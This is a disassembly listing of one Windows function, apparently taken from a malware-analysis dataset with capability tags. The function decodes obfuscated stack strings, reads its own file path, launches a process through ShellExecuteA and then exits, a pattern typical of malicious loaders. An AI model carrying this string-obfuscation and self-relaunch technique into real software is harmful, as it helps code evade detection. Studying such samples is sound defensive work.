Function at 0x140036af0
Capabilities:
Create process on windows
Terminate process

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
sub rsp, 0x20
call fcn.140036a40
add rsp, 0x20
test al, 1
jne 0x140036b1a
jmp 0x140036ba5
mov eax, 0x20
call fcn.140042470
sub rsp, rax
mov rax, rsp
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov byte [rax + 0x12], 0
mov word [rax + 0x10], 0
mov byte [rax], 0x9b
mov byte [rax + 1], WSACleanup
mov byte [rax + 2], 0x59
mov byte [rax + 3], 0xaa
mov byte [rax + 4], 0xfb
mov byte [rax + 5], 0xe1
mov byte [rax + 6], 0x9e
mov byte [rax + 7], 0xf3
mov byte [rax + 8], 0x9f
mov byte [rax + 9], WSACleanup
mov byte [rax + 0xa], 0x4e
mov byte [rax + 0xb], 0xb9
mov byte [rax + 0xc], 0xfb
mov byte [rax + 0xd], 0xf1
mov byte [rax + 0xe], 0x82
mov byte [rax + 0xf], 0xb7
mov byte [rax + 0x10], 0xd4
sub rsp, 0x20
mov rcx, rax
mov edx, send
mov qword [rbp - 0x50], rax
call fcn.1400038c0
mov rcx, qword [rbp - 0x50]
call fcn.140006d00
nop
lea rsp, [rbp + 0xd0]
pop rbp
ret
mov eax, reloc.WS2_32.dll_recv
call fcn.140042470
sub rsp, rax
mov rax, rsp
mov word [rax + 0xc], 0
mov dword [rax + 8], 0
mov qword [rax], 0
mov byte [rax], 0x9f
mov byte [rax + 1], WSACleanup
mov byte [rax + 2], 0x4e
mov byte [rax + 3], 0xb9
mov byte [rax + 4], 0xfb
mov byte [rax + 5], 0xf1
mov byte [rax + 6], 0x8e
mov byte [rax + 7], 0xbd
mov byte [rax + 8], 0x9d
mov byte [rax + 9], 0x30
mov byte [rax + 0xa], 5
mov byte [rax + 0xb], 0xe1
sub rsp, 0x20
mov rcx, rax
mov edx, recv
mov qword [rbp - 0x58], rax
call fcn.1400038c0
mov rcx, qword [rbp - 0x58]
call fcn.140006d00
add rsp, 0x20
xor r8d, r8d
mov ecx, r8d
lea rax, [rbp - 0x40]
xor edx, edx
sub rsp, 0x20
mov qword [rbp - 0x60], rcx
mov rcx, rax
mov r8d, 0x104
mov qword [rbp - 0x68], rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp - 0x60]
mov rdx, qword [rbp - 0x68]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add rsp, 0x20
cmp eax, 0
jne 0x140036d31
mov eax, 0x30
call fcn.140042470
sub rsp, rax
mov rax, rsp
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax], xmm0
mov byte [rax + 0x22], 0
mov word [rax + 0x20], 0
mov byte [rax], 0x9c
mov byte [rax + 1], 0x7f
mov byte [rax + 2], 0x42
mov byte [rax + 3], 0xa3
mov byte [rax + 4], 0xff
mov byte [rax + 5], 0xe1
mov byte [rax + 6], 0xc7
mov byte [rax + 7], 0xa7
mov byte [rax + 8], 0x95
mov byte [rax + 9], 0x3e
mov byte [rax + 0xa], 0x4f
mov byte [rax + 0xb], 0xaa
mov byte [rax + 0xc], 0xee
mov byte [rax + 0xd], 0xe0
mov byte [rax + 0xe], 0x95
mov byte [rax + 0xf], 0xbe
mov byte [rax + 0x10], 0x93
mov byte [rax + 0x11], WSAStartup
mov byte [rax + 0x12], 0x4e
mov byte [rax + 0x13], 0xef
mov byte [rax + 0x14], 0xea
mov byte [rax + 0x15], 0xf7
mov byte [rax + 0x16], 0x88
mov byte [rax + 0x17], 0xb4
mov byte [rax + 0x18], 0x88
mov byte [rax + 0x19], 0x7f
mov byte [rax + 0x1a], 0x46
mov byte [rax + 0x1b], 0xef
mov byte [rax + 0x1c], 0xea
mov byte [rax + 0x1d], 0xe4
mov byte [rax + 0x1e], 0x93
mov byte [rax + 0x1f], 0xbb
mov byte [rax + 0x20], 0xd4
sub rsp, 0x20
mov rcx, rax
mov edx, 0x21
mov qword [rbp - 0x70], rax
call fcn.1400038c0
mov rcx, qword [rbp - 0x70]
call fcn.140006d00
add rsp, 0x20
mov ecx, send
int 0x29
lea r8, [rbp - 0x40]
mov eax, reloc.WS2_32.dll_recv
mov qword [rbp - 0x78], r8
call fcn.140042470
sub rsp, rax
mov rax, rsp
mov byte [rax + 6], 0
mov word [rax + 4], 0
mov dword [rax], 0
mov byte [rax], 0x88
mov byte [rax + 1], 0x6b
mov byte [rax + 2], 0x45
mov byte [rax + 3], 0xae
mov byte [rax + 4], 0xe9
sub rsp, 0x20
mov rcx, rax
mov edx, 5
mov qword [rbp - 0x80], rax
call fcn.1400038c0
add rsp, 0x20
xor r9d, r9d
mov eax, r9d
sub rsp, 0x30
mov rcx, rax
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
mov r9, rax
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x28], 1
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
add rsp, 0x30
xor ecx, ecx
mov qword [rbp - 0x48], rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_ExitProcess]